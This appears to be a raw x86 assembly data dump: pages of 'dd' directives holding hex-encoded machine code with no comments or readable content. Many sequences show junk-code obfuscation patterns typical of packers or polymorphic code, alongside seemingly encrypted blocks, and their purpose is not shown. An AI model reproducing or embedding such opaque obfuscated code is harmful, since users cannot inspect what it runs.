		dd 61060718h, 840FC00Bh, 4Dh, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 1Bh, 5C35343h, 0F83FEEFBh, 8BB3878Bh
		dd 71A0DB5h, 60CEBF06h,	8D8D6FDCh, 6074DB4h, 852DDE81h
		dd 5B815BCh, 9000000h, 72E959Dh, 0FABF0F06h, 0BF0FE1FFh
		dd 658D8DF7h, 8B06071Fh, 705A9BDh, 5FF55006h, 727C01C7h
		dd 6A44AAh, 3E852h, 5A200000h, 54895AC3h, 44810424h, 170424h
		dd 52420000h, 0DF8562C3h, 0CB01810Bh, 6A1499CFh, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 14042444h, 45000000h
		dd 0C775C355h, 753C0441h, 6ACE78h, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 1C0424h, 57470000h, 8BAC15C3h, 5E453A5Bh
		dd 31527DC9h, 71D799Dh,	41815F06h, 0D6D71004h, 8ABF5731h
		dd 5E141D7Ch, 6A006Ah, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 180424h, 52420000h, 688662C3h, 8589D620h, 6070995h
		dd 1F65858Dh, 37BE0607h, 0BF522634h, 7DC37E9Ch,	50525050h
		dd 0FF88B52h, 5A5E5331h, 66310F58h, 585AFB8Bh, 6A240489h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 1C042444h
		dd 40000000h, 6B41C350h, 3D1FADA2h, 60903ECEh, 0C31AE181h
		dd 55B75A9Ch, 1D95FF61h, 8D060732h, 71F658Dh, 3900BE06h
		dd 1C74948h, 0
		dd 12E9h, 190D2A00h, 1F4FE1A6h,	0E60716AFh, 0D837C39Eh
		dd 0C70CF444h, 441h, 0F38B0000h, 840FC00Bh, 82h, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 14h, 0F4C35242h, 4DB48D8Dh
		dd 0B5010607h, 6071BD9h, 5B8h, 56006A00h, 3E8h,	0C35E2000h
		dd 2474895Eh, 24448104h, 1604h,	0C3564600h, 5188C62Ah
		dd 94F0EBBEh, 8D295E41h, 6072949h, 6AE1FFh, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 1A0424h, 50400000h, 0E37785C3h
		dd 9A7BEF2Bh, 0EA84C681h, 8D8D1317h, 6071F65h, 0AE8h, 81897200h
		dd 9BDDEB3h, 0FBB3CE8h,	58Ch, 0CE816600h, 815E23BCh, 0FD472DD6h
		dd 0A501C749h, 6A54CA95h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 1B042444h, 46000000h, 0DBBCC356h,	450B3DCAh
		dd 8E0FDF45h, 5, 0F830C7BEh, 0B70F6001h, 5BCE81F1h, 611933F9h
		dd 0CFCB0181h, 6A1499h,	3E852h,	5A200000h, 54895AC3h, 44810424h
		dd 140424h, 52420000h, 0B70F18C3h, 441C7FBh, 0CE5F5969h
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Ch, 64C35747h
		dd 0C6ACDA5Eh, 5D3937AAh, 118D0Fh, 0BE80000h, 92000000h
		dd 6AC96550h, 99516088h, 815F704Ch, 0D7100441h,	6A31D6h
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 17h, 0C5C35646h
		dd 2B96992Bh, 71E49BDh,	65858D06h, 0F06071Fh, 28Dh, 50FB8B00h
		dd 489FA8Bh, 55006A24h,	3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1D04h, 0C3554500h, 0D03891B6h, 0A182437Ah, 0BE66392Ah
		dd 95FF9237h, 607321Dh,	2319BD8Bh, 8D8D0607h, 6071F65h
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 18h, 0DAC35646h
		dd 2C25843Eh, 20EDBD8Bh, 0BD010607h, 60718B1h, 23D8DE81h
		dd 1C757F8h, 0
		dd 41C7F78Bh, 4, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh
		dd 24448104h, 1C04h, 0C3574700h, 0EB1710C5h, 0A8AF51FEh
		dd 0FE9FAh, 0E3600000h,	0BCB975A2h, 833D92C5h, 5DE0FB87h
		dd 0D9BD0386h, 1060721h, 72E558Dh, 0FC00B06h, 6D84h, 0AE900h
		dd 0BB0F0000h, 81227403h, 0A54F4796h, 4DB48D8Dh, 6A0607h
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 150424h, 56460000h
		dd 8B9949C3h, 71015B5h,	69B58B06h, 0B806071Dh, 5, 43389FBEh
		dd 0DE974h, 0DAE30000h,	0A4687AFFh, 84D49063h, 0FFC5AB4Bh
		dd 5E8E1h, 88830000h, 89D23303h, 70C7D95h, 0CA035E06h
		dd 0FFF253E9h, 51006AFFh, 3E8h,	0C3592000h, 244C8959h
		dd 24448104h, 1404h, 0C3514100h, 7830F45h, 0FC000000h
		dd 1C59B58Bh, 0E6810607h, 5C3A260Bh, 6AC18Bh, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 1D0424h, 50400000h, 810964C3h
		dd 0BA000833h, 5783AAEAh, 2A89B589h, 0EB5E0607h, 4, 52006A00h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1D04h, 0C3524200h
		dd 0D3FBB850h, 89EE7D24h, 6A5E75h, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 160424h, 51410000h, 745830C3h, 10E9h, 0D1BDB00h
		dd 0A84D1880h, 959CFDA8h, 4F1A31CFh, 19858DBEh,	6606071Fh
		dd 5B93CE81h, 15C1B58Bh, 50900607h, 5EF08B66h, 38B0F50h
		dd 66000000h, 6A90F28Bh, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 1A042444h, 40000000h, 2970C350h, 1B891C8Ah
		dd 3BBE660Bh, 6A006AC8h, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 16042444h, 41000000h, 0ED6CC351h,	0D9B58B11h
		dd 0F06072Ah, 18Eh, 6AF900h, 56858DF8h,	0E9060AE3h, 0Dh
		dd 4966169Ch, 59A42E84h, 7AC70D40h, 5C08360h, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 14h, 8AC35747h, 30DD8529h
		dd 0BE900607h, 5A5899F6h, 0F525050h, 8Dh, 66310F00h, 585AF28Bh
		dd 50006A90h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1404h
		dd 0C3504000h, 0BE98Eh,	0C7D70000h, 0F2D38964h,	34426D66h
		dd 6A006A88h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 14042444h, 43000000h, 3152C353h, 708D9B5h, 0C310BE06h
		dd 6A2E54h, 81F6BF0Fh, 0E52D22DEh, 0CD95FF53h, 6A06071Bh
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 15042444h
		dd 43000000h, 45CBC353h, 0A5B79D8Dh, 9D89060Ah,	60732EDh
		dd 6AD3FFh, 3E850h, 58200000h, 448958C3h, 44810424h, 180424h
		dd 50400000h, 67C11DC3h, 8B66D105h, 0F38B66F7h,	0FA585FFh
		dd 66600607h, 80E588B9h, 0E96146C5h, 975h, 0E8h, 0ED815D00h
		dd 60AE360h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
		dd 15h,	27C35545h, 15B58B80h, 8106071Ch, 72CDDBDh, 7D006h
		dd 2B860F00h, 6A000001h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 15042444h, 45000000h, 294AC355h, 2B3DB589h
		dd 9D8B0607h, 607109Dh,	0E852006Ah, 3, 5AC35A20h, 4245489h
		dd 4244481h, 1Bh, 1DC35242h, 325599F8h,	0F3D1932h, 38Eh
		dd 0F18B6600h, 100E381h, 6A0000h, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 150424h, 57470000h, 311D4EC3h, 732E99Dh
		dd 0FDB0B06h, 6285h, 50DE8100h,	83679770h, 0AE168BDh, 840F0006h
		dd 2Ch,	0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 19h
		dd 4AC35646h, 7E11C605h, 85B58B69h, 0E906070Bh,	33h, 0E16885C7h
		dd 1060Ah, 0BF0F0000h, 31B58BF3h, 0E9060721h, 1Bh, 0B90253BEh
		dd 55B58B72h, 0C706072Fh, 0AE16885h, 6,	95B58B00h, 8D06072Fh
		dd 7109D9Dh, 8AF96006h,	238161EFh, 0FFFFFEFFh, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Ah, 0AFC35747h, 70A636EBh
		dd 8C662965h, 0B96660DBh, 0F661DF04h, 840F04C3h, 5Fh, 335D95FFh
		dd 13E80607h, 0DB000000h, 401B705Ch, 0A2AA8BFh,	55F37F80h
		dd 47740614h, 8B66740Dh, 66505EF7h, 897B8CBEh, 6A2404h
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1D0424h, 57470000h
		dd 93513AC3h, 6BF77622h, 6035B2C8h, 85958B60h, 81060726h
		dd 8D559EAh, 0E9616138h, 38Ch, 0DE9h, 0C8927E00h, 637D83D3h
		dd 0A93B9CFBh, 0B0D46Ch, 0E856006Ah, 3,	5EC35E20h, 4247489h
		dd 4244481h, 16h, 0A4C35646h, 0FBBEF3B3h, 8B498D24h, 721A9B5h
		dd 0E470E606h, 50006A71h, 3E8h,	0C3582000h, 24448958h
		dd 24448104h, 1C04h, 0C3504000h, 96B73A9Dh, 7FE8B26Dh
		dd 55B529ABh, 0F06070Ch, 6AD8B6h, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 1D0424h, 57470000h, 1FC1E5C3h, 832AD321h
		dd 0BA2A074Ah, 6, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
		dd 14h,	4DC35343h, 0E8C1C38Bh, 55006A04h, 3E8h,	0C35D2000h
		dd 246C895Dh, 24448104h, 1D04h,	0C3554500h, 6CD7F5A1h
		dd 0DE6B3D6Ah, 810FF765h, 9, 4DBD2360h,	0F806072Dh, 0E2F76661h
		dd 6AD82BF5h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 15042444h, 42000000h, 0D725C352h, 8B0B3BEh, 9B58B09h
		dd 93060711h, 870Fh, 50500000h,	51310F52h, 48287DBEh, 585A5E4Ch
		dd 0C6816693h, 0B5FFB656h, 6072CDDh, 320195FFh,	6A0607h
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 170424h, 52420000h
		dd 27B569C3h, 23BE5750h, 5E6E4E24h, 950900B0h, 6071E49h
		dd 8D8970E6h, 6070421h,	1F34BE66h, 0B58B71E4h, 607006Dh
		dd 830F613Ch, 200h, 0DE9h, 6249DC00h, 5EDF72ABh, 0F2CF00E3h
		dd 9529EC2Ah, 6072601h,	6AD8B60Fh, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 19042444h, 47000000h, 2B0CC357h
		dd 0D60993A6h, 11E9h, 6D95AA00h, 9D0C0DEFh, 0E1BEC0F2h
		dd 7654ECF7h, 6BA6D61h,	89000000h, 7269985h, 6AC38B06h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 19042444h
		dd 41000000h, 2FEAC351h, 43E0213Ah, 10E8h, 0C2625600h
		dd 0BED7B731h, 321B8A4Eh, 5B7E73C8h, 51BD896Fh,	5E060716h
		dd 6A04E8C1h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 15042444h, 47000000h, 81FDC357h, 0CBE68166h,	0E2F76653h
		dd 8840Fh, 81560000h, 3D701AEEh, 0D82B5E0Ch, 238CBE66h
		dd 0FD82B58h, 11F88h, 7B900h, 0B58B0000h, 60716B9h, 0E900C183h
		dd 5, 4DA1EFF1h, 0FD93BB7h, 0FF86h, 53006A00h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1B04h,	0C3534300h, 0C54D275h
		dd 166DEBAh, 1A08CE81h,	820F2971h, 16h,	0EE8h, 9723A000h
		dd 59FAF1D5h, 47AF34Eh,	8BCF4877h, 8C665EF0h, 57006AD9h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1404h, 0C3574700h
		dd 4C1F692h, 8A840Fh, 81660000h, 0FFDA4FD6h, 7335D95h
		dd 6A5B06h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 170424h
		dd 53430000h, 956C98C3h, 0EE9DFh, 0AB6D0000h, 92720457h
		dd 309C82F4h, 5E02E430h, 0B50BC32Bh, 6070A51h, 8343Dh
		dd 39860F00h, 6A000000h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 1D042444h, 43000000h, 0F67C353h, 3DFC382Dh
		dd 94ED015Dh, 6A4421BEh, 12E950h, 0BE660000h, 0B58B8342h
		dd 607154Dh, 8589C08Bh,	607059Dh, 0D88BC38Bh, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 1Ch, 0CAC35141h, 106D5CA6h
		dd 0F7903C0Fh, 182185C7h, 0CD5B0607h, 800F527Eh, 3, 0E8F0B70Fh
		dd 7, 2A1CBD03h, 5E573356h, 0B533C08Bh,	60705A9h, 2CDDBD81h
		dd 7D00607h, 850F0000h,	6Ah, 0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 19h, 2CC35747h, 0FD3DDC8Ch, 0DD85FF1Fh
		dd 6A06072Ch, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 1D042444h, 45000000h, 6AEC355h, 0C95546FEh, 0C1DD127Ah
		dd 0C19B58Bh, 13E90607h, 37000000h, 85C2AECDh, 0CA456E7Fh
		dd 0EC254467h, 56C63062h, 0B5FF8F47h, 6072CDDh,	3800Fh
		dd 0B70F0000h, 195FFF1h, 89060732h, 71D89BDh, 0D88B9006h
		dd 32A18D89h, 0BD830607h, 60732B9h, 4F840F00h, 6A000000h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 1A042444h
		dd 42000000h, 5296C352h, 6425709h, 0F5B58B1Ah, 0E9060718h
		dd 2ADh, 0E851006Ah, 3,	59C35920h, 4244C89h, 4244481h
		dd 14h,	0EBC35141h, 481B589h, 0DF8C0607h, 0E850006Ah, 3
		dd 58C35820h, 4244489h,	4244481h, 1Dh, 9BC35040h, 0ED25A749h
		dd 3E769B30h, 83E68188h, 0E96DF449h, 5,	0F3AB695Bh, 0C7F766C1h
		dd 850F0004h, 249h, 6AFF2Bh, 3E851h, 59200000h,	4C8959C3h
		dd 44810424h, 160424h, 51410000h, 4CFA02C3h, 0C558529h
		dd 0C6810607h, 66E8B822h, 0EC3B9D8Dh, 6A060Ah, 3E850h
		dd 58200000h, 448958C3h, 44810424h, 1B0424h, 50400000h
		dd 60AAC9C3h, 0F07685A3h, 1B58B47h, 50060733h, 6A241C89h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 19042444h
		dd 46000000h, 815FC356h, 27F27AA9h, 9FE1E8BEh, 35FF6464h
		dd 0
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 17h, 0BDC35141h
		dd 534A3036h, 2249B58Bh, 645E0607h, 2589h, 6A0000h, 3E853h
		dd 5B200000h, 5C895BC3h, 44810424h, 190424h, 53430000h
		dd 1102C9C3h, 8BC18BA2h, 8891BEC4h, 1CD44ECh, 6A00EBh
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 140424h, 52420000h
		dd 852900C3h, 6072675h,	58F64h,	6A000000h, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 15042444h, 47000000h, 67C0C357h
		dd 8FC8CE81h, 0C4834AE4h, 0F1B58904h, 29060717h, 72689BDh
		dd 0FC00B06h, 10084h, 50006A00h, 3E8h, 0C3582000h, 24448958h
		dd 24448104h, 1704h, 0C3504000h, 0E95F1169h, 8DF38B66h
		dd 74DB4BDh, 0FE13BE06h, 5B82709h, 6A000000h, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 1C042444h, 41000000h
		dd 0E5FBC351h, 0B5BE2C33h, 0E88B3BD6h, 8, 68050C95h, 55BBE9B9h
		dd 5E9h, 0A56B1200h, 0FF5E671Bh, 0EE9E7h, 0A10B0000h, 2B14E851h
		dd 30176FEEh, 0D69FE965h, 168F0Fh, 11E90000h, 71000000h
		dd 395FA191h, 82D5FF5h,	1D56ACCAh, 363B73F3h, 245C8B57h
		dd 0B8838B10h, 0F000000h, 0FE0140B6h, 0B08389C8h, 83000000h
		dd 0B883h, 335F0200h, 6AC3C0h, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 140424h, 56460000h, 6A79C3h, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 150424h, 51410000h, 897934C3h
		dd 72AA1BDh, 0E9CA2B06h, 0FFFFF6B8h, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 15h, 56C35242h, 0B70FF996h, 75BD89F7h
		dd 89060729h, 70609B5h,	6AC18B06h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 17042444h, 46000000h, 0C568C356h
		dd 9E93076h, 7000000h, 0B157CEB4h, 0F3EA3DE3h, 4EBh, 81660000h
		dd 8DB506DFh, 71F1985h,	75852906h, 5006072Fh, 16820Fh
		dd 11E90000h, 1A000000h, 759E000Ch, 390474CDh, 0AE246E5Ch
		dd 72BC90BBh, 6A240489h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 15042444h, 45000000h, 7E65C355h, 6A006Ah
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1B0424h, 51410000h
		dd 4116D1C3h, 8FCE5C99h, 66006A3Bh, 8B755EBEh, 70611BDh
		dd 13858D06h, 6A060AEFh, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 16042444h, 45000000h, 47CEC355h, 5EF951F7h
		dd 6A1BD8Bh, 0C0830607h, 8D895205h, 6070FC9h, 5250905Eh
		dd 8E8310Fh, 0CF000000h, 892D06AFh, 8BDF13CAh, 585A5EF1h
		dd 50525050h, 0DE852h, 0A5130000h, 672B9BF3h, 0F00E3DDFh
		dd 5E0162CFh, 0FA8B310Fh, 310F585Ah, 0CC02BF66h, 0E890585Ah
		dd 0Eh,	4DC455E3h, 0C232C59Ch, 0E85B8161h, 6A5EEB8Eh, 52006A00h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1C04h, 0C3524200h
		dd 5B2631C3h, 0D1F9E977h, 0A1BD8B02h, 6A060716h, 57006A00h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1404h, 0C3574700h
		dd 28BE66B2h, 259D89D1h, 0FF060704h, 71BCD95h, 53006A06h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1A04h, 0C3534300h
		dd 74DA96EAh, 8B7636BBh, 71EADB5h, 820F06h, 8D000000h
		dd 0AA5B79Dh, 359D8906h, 60060721h, 16C99D8Bh, 95890607h
		dd 6070821h, 6AD3FF61h,	3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 1D042444h, 45000000h, 1306C355h, 0DEFDA25Bh
		dd 0B36335C7h, 0FA585FFh, 6A0607h, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 1D0424h, 56460000h, 71B0E1C3h, 0BD5F059Dh
		dd 0E9FA0140h, 0Ch, 53BCFF0Ch, 0B82E1046h, 2B6499B9h, 812E9h
		dd 0E800h, 815D0000h, 0AEF1DEDh, 56006A06h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1D04h,	0C3564600h, 0CB6B3842h
		dd 678D4911h, 0DE8F841h, 0E1000000h, 3AC915D9h,	0B6C89F3Bh
		dd 5E2F8E64h, 815EFB8Bh, 72CDDBDh, 7D006h, 0FA860F00h
		dd 8B000000h, 259D8BF3h, 6A060731h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 15042444h, 46000000h, 1CFCC356h
		dd 0E381FCh, 0B000001h,	7F850FDBh, 8B000000h, 71A15BDh
		dd 1BD8306h, 60AEDh, 3B840Fh, 6A0000h, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 160424h, 51410000h, 0CDD0A1C3h
		dd 6810Fh, 8D890000h, 60706A9h,	1EE58589h, 46E90607h, 8B000000h
		dd 708D5B5h, 185C706h, 1060AEDh, 8B000000h, 7317DBDh, 2BE906h
		dd 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h, 140424h
		dd 50400000h, 85C741C3h, 60AED01h, 0
		dd 0DCCF8166h, 259D8DA2h, 0BE060731h, 5B6D640Fh, 0FEFF2381h
		dd 6AFFFFh, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 190424h
		dd 53430000h, 2DDBF5C3h, 9E4244Ch, 71F49BDh, 0DB8C6606h
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Dh, 91C35747h
		dd 55FFBBABh, 0E169E1F8h, 4EBE66A8h, 4C3F65Dh, 50840Fh
		dd 0B5010000h, 60708F5h, 335D95FFh, 6A0607h, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 190424h, 57470000h, 0EF5841C3h
		dd 895FD20Eh, 72D658Dh,	50535006h, 8E0F52h, 0F000000h
		dd 0C37BE31h, 585A5134h, 2404895Fh, 17C99589h, 53E90607h
		dd 0E9000004h, 6, 2053361Eh, 0B04F8Bh, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 1Ch, 9EC35141h, 0DF8B1069h, 2BFAFBB1h
		dd 6E5BE52h, 0E65F4CFFh, 55006A70h, 3E8h, 0C35D2000h, 246C895Dh
		dd 24448104h, 1D04h, 0C3554500h, 9DE4914Ah, 222DA9DAh
		dd 0A4BE2780h, 0E44DD109h, 51006A71h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1804h,	0C3514100h, 0D39078E0h
		dd 658589EBh, 0F060712h, 6AD8B6h, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 170424h, 57470000h, 6CEA4CC3h, 0FE80Fh, 75D30000h
		dd 156357E0h, 4DF05C5Bh, 55C02F10h, 0BDB58B23h,	5E060722h
		dd 6BAh, 50006A00h, 3E8h, 0C3582000h, 24448958h, 24448104h
		dd 1504h, 0C3504000h, 0BD89F09Fh, 6072D3Dh, 1800F60h, 0F5000000h
		dd 0AE9h, 76C34F00h, 3FAADE96h,	61E7BD44h, 8BF08B66h, 56006AC3h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1B04h, 0C3564600h
		dd 884C3E5h, 5E7F353Bh,	101DB52Bh, 0E8C10607h, 0B1B50B04h
		dd 3060718h, 71099B5h, 0E2F76606h, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 15h, 81C35242h, 1185290Dh, 8B060730h
		dd 73089BDh, 89D82B06h,	71B69BDh, 66529306h, 505FFB8Bh
		dd 91EBBA60h, 5E976D9h,	0E4000000h, 8D40D9B2h, 0B5FF9361h
		dd 6072CDDh, 0CBCE17BEh, 195FF70h, 6A060732h, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 1C042444h, 45000000h
		dd 4677C355h, 0A788B74Ch, 0FE6E93Ah, 588h, 284ABF00h, 952940FAh
		dd 607221Dh, 958900B0h,	6071021h, 6A70E6h, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 170424h, 51410000h, 9C9901C3h
		dd 958B6051h, 6070FD9h,	0E461C68Bh, 0BD8B6071h,	6071DA9h
		dd 1695958Bh, 3C610607h, 2F830F61h, 0BE000002h,	72CEEA4Fh
		dd 488EC781h, 0B60F5A71h, 6BAF9D8h, 6A000000h, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 1D042444h, 40000000h
		dd 5D72C350h, 0F0BBCE90h, 42BD41D2h, 6AC38Bh, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 140424h, 51410000h, 816663C3h
		dd 0E9C227CEh, 14h, 4A80CF7Eh, 0A0D95206h, 0F1D59723h
		dd 0F34E59FAh, 4877047Ah, 6604E8C1h, 6AE2F7h, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 170424h, 52420000h, 8510C3C3h
		dd 51D82B85h, 585FFB8Bh, 0E855006Ah, 3,	5DC35D20h, 4246C89h
		dd 4244481h, 1Ch, 0B8C35545h, 0AEE5BC59h, 0BEAFF76Ah, 880FD82Bh
		dd 162h, 0E857006Ah, 3,	5FC35F20h, 4247C89h, 4244481h
		dd 16h,	0CCC35747h, 7B9E667h, 6A000000h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 18042444h, 46000000h, 0A30EC356h
		dd 66CAD25Bh, 0C183F88Bh, 52006A00h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1404h,	0C3524200h, 3BFB8BE8h
		dd 0F3860FD9h, 89000000h, 708D5BDh, 0D98C6606h,	0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 16h, 9DC35040h, 0ADBFDECEh
		dd 0F662345Dh, 840F04C1h, 0ADh,	0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 14h, 0ECC35747h,	335D95FFh, 6A0607h
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 150424h, 57470000h
		dd 0F5879BC3h, 2D95895Bh, 2B060718h, 8343DC3h, 860F0000h
		dd 59h,	0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 19h
		dd 0BAC35646h, 7F6A66E9h, 0F38B66BDh, 41E9h, 55006A00h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1C04h, 0C3554500h
		dd 2C44D062h, 77507439h, 0D2D781C4h, 8B30711Ah,	718A1BDh
		dd 60C08B06h, 860F60h, 61000000h, 0CD98C2BAh, 0C38B611Dh
		dd 6AD88Bh, 3E850h, 58200000h, 448958C3h, 44810424h, 1A0424h
		dd 50400000h, 87F8FC3h,	0DE920CACh, 0AEDEBF66h,	109D85C7h
		dd 553F0607h, 6A78FDh, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 180424h, 53430000h, 99442BC3h, 0C08B88B9h, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 19h, 0A3C35343h, 0F4982FF8h
		dd 0C07EBF30h, 0BD815E79h, 6072CDDh, 7D0h, 18850Fh, 0BD8B0000h
		dd 6071D3Dh, 33018589h,	85FF0607h, 6072CDDh, 31218589h
		dd 0B5FF0607h, 6072CDDh, 0FFF0BF0Fh, 7320195h, 89BD2906h
		dd 90060717h, 6B9B58Bh,	8D890607h, 6070085h, 8F58589h
		dd 8D0F0607h, 6, 1FE9B58Bh, 0B5290607h,	6071CEDh, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Ah, 0DC35545h, 0A0CCF7C1h
		dd 0DE9C75Ch, 42000000h, 34AD49F1h, 7D47248Dh, 9FED1A9Fh
		dd 0AE8F9h, 0C97C0000h,	0BA73C413h, 73B021Bh, 1C29BD23h
		dd 0B5F0607h, 71C7DB5h,	55006A06h, 3E8h, 0C35D2000h, 246C895Dh
		dd 24448104h, 1604h, 0C3554500h, 66227B17h, 8589FE8Bh
		dd 6070C61h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
		dd 15h,	15C35747h, 3ABE665Dh, 1890F77h,	0F8000000h, 1A59BD8Bh
		dd 8B660607h, 14E8FBh, 0FB530000h, 0BBA8262Ch, 0EB2D285Ah
		dd 0B3F12C3Ch, 0B21E254Eh, 37BF573Bh, 5E6069B9h, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 19h, 46C35646h, 7BC77486h
		dd 35B58B72h, 81060707h, 852A1EEFh, 0F7FBE96Bh,	0FE8BFFFFh
		dd 30118589h, 51BE0607h, 8B237DDEh, 52006AC1h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1804h,	0C3524200h, 0AC2D3B60h
		dd 0FE9C3h, 0FAFF0000h,	42712F27h, 0A351AA10h, 845DBE04h
		dd 4EB72h, 6A000000h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 16042444h, 40000000h, 618FC350h, 559D8984h, 0E9060704h
		dd 0Dh,	7175EAA7h, 5D79DCA8h, 0DAB92B25h, 56006A0Dh, 3E8h
		dd 0C35E2000h, 2474895Eh, 24448104h, 1904h, 0C3564600h
		dd 8854BE3Dh, 0DE9A2BAh, 42000000h, 0E5063731h,	55F710h
		dd 97C62341h, 1F19858Dh, 6A0607h, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 190424h, 53430000h, 9BD300C3h, 0E87AE1CBh
		dd 14h,	818CFF9Ch, 6434DED8h, 80E9FC24h, 0A0C692E4h, 90395096h
		dd 0C599D89h, 0E85F0607h, 13h, 0B8F40002h, 3DBA858Fh, 0F024283Bh
		dd 5B5C7405h
		dd 6697A265h, 5E73E9BFh, 89F78B50h, 0B5892404h,	6072001h
		dd 0B58B006Ah, 6072D11h, 8166006Ah, 8D68DDEEh, 0AF95285h
		dd 0D7816606h, 0C08391A9h, 55006A05h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1A04h,	0C3554500h, 0EA95A952h
		dd 0F9A6809Bh, 0FE950h,	0AAAB0000h, 86BA24FAh, 83258570h
		dd 722F926Fh, 2404899Bh, 0E851006Ah, 3,	59C35920h, 4244C89h
		dd 4244481h, 14h, 1FC35141h, 6AF18B66h,	6A006A00h, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 1C042444h, 41000000h
		dd 759EC351h, 390474CDh, 2B246E5Ch, 729ADBDh, 0CD95FF06h
		dd 6A06071Bh, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 18042444h, 47000000h, 0EAD4C357h, 811565A4h,	9DE0CCE7h
		dd 25B5011Dh, 0E9060719h, 5, 89B37Ah, 0B79D8D75h, 29060AA5h
